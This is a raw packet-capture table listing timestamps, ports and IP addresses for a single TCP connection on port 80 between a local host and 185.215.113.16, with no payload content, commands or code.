Dec 23, 2024 06:53:44.411297083 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.411345005 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.412094116 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.412230968 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.412282944 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.413053036 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.413166046 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.413975954 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.414053917 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.414103031 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.414149046 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.414977074 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.415062904 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.415113926 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.415879011 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.416009903 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.416809082 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.416866064 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.416925907 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.417063951 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.417740107 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.417884111 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.418699980 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.418752909 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.418808937 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.418849945 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.419619083 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.419807911 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.419862986 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.420594931 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.420856953 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.421495914 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.421555042 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.421638012 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.421681881 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.422465086 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.422580957 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.423373938 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.461369038 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.461455107 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.461508036 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.461733103 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.461946964 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.462064981 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.462066889 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.462934017 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.462999105 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.463010073 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.463834047 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.463946104 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.463999033 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.464780092 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.464844942 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.464874983 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.465763092 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.465883017 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.465955973 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.466675043 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.466799021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.466828108 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.467587948 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.467636108 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.467717886 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.468554020 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.468616962 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.468672991 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.469486952 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.469582081 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.469628096 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.470417023 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.470477104 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.470561981 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.471354961 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.471395016 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.471400023 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.472348928 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.472404003 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.472477913 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.473191023 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.473232031 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.519412041 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.519500017 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.519646883 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.519845009 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.519963980 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.520802021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.520844936 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.520970106 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.521008968 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.521770954 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.522141933 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.522665024 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.522670031 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.522768021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.523612022 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.523612976 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.523715973 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.523895979 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.524626970 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.524728060 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.525506020 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.525557041 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.525593042 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.525633097 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.526411057 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.526523113 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.526860952 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.527359962 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.527493000 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.531143904 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.587656021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.587829113 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.587893009 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.587893963 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.587987900 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.588027000 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.588886023 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.588989973 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.589082003 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.589809895 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.589900970 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.589940071 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.590868950 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.591023922 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.591063976 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.591751099 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.591811895 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.592044115 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.592632055 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.592731953 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.592797041 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.593560934 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.593698978 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.593734980 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.594516993 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.594594002 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.594755888 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.595451117 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.595527887 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.596404076 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.596446037 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.596473932 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.596514940 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.597327948 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.597533941 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.598306894 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.598351955 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.598367929 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.598403931 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.599221945 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.599401951 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.599448919 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.600459099 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.600586891 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.601145983 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.601218939 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.601247072 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.601299047 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.602047920 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.602180958 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.602674007 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.603020906 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.603104115 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.603923082 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.603960037 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.604026079 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.604058027 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.604834080 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.604969025 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.605782032 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.605828047 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.605911970 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.605951071 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.606770039 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.606893063 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.607642889 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.607697010 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.607759953 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.607795954 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.608556986 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.608690023 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.609522104 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.609565973 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.609687090 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.609725952 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.610503912 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.610584021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.610835075 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.611417055 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.611516953 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.612322092 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.612360954 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.612430096 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.612468004 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.613303900 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.613435984 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.614161968 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.614207983 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.614308119 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.614356041 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.615148067 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.654083014 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.654098988 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.654148102 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.654345036 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.654385090 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.654432058 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.655122995 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.655234098 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.655278921 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.656070948 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.656115055 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.656126976 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.656961918 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.657404900 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.657444954 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.657887936 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.657928944 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.657990932 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.658860922 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.658993959 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.659034967 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.659797907 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.659914017 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.659960985 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.660725117 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.660770893 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.660846949 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.661674023 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.661725044 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.661770105 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.662587881 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.662760019 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.662801027 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.663536072 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.663707972 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.663752079 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.664488077 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.664547920 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.664577961 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.665374041 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.666723013 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.711472034 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.711535931 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.711596966 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.711678028 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.711770058 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.712639093 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.712692022 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.712733984 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.712769985 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.713589907 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.713745117 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.714523077 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.714561939 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.714664936 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.714699984 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.715457916 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.715563059 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.715600967 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.716388941 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.716507912 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.716552019 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.717385054 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.717437029 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.718271971 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.718310118 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.718409061 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.718442917 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.719261885 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.719345093 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.719386101 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.720263958 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.773423910 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.779877901 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.780055046 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.780278921 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.780325890 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.780476093 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.780514956 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.780581951 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.781435013 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.781534910 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.781574965 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.782365084 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.782403946 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.782474041 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.783303022 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.783406973 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.783463001 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.784277916 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.784333944 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.784392118 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.785202980 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.785298109 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.785336971 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.786147118 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.786185980 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.786261082 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.787095070 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.787183046 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.787220955 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.788034916 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.788083076 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.788106918 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.788938046 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.788984060 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.789042950 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.790010929 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.790076017 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.790113926 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.790807962 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.790848017 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.790926933 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.791755915 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.791832924 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.791920900 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.792695999 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.792742014 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.792812109 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.793642998 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.793756008 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.793804884 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.794583082 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.794636011 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.794708014 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.795530081 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.795614004 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.795644045 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.796442986 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.796488047 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.796535969 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.797401905 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.797450066 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.797492027 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.798295021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.798356056 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:44.798393011 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.799278021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:44.799366951 CET	80	49758	185.215.113.16	192.168.2.6
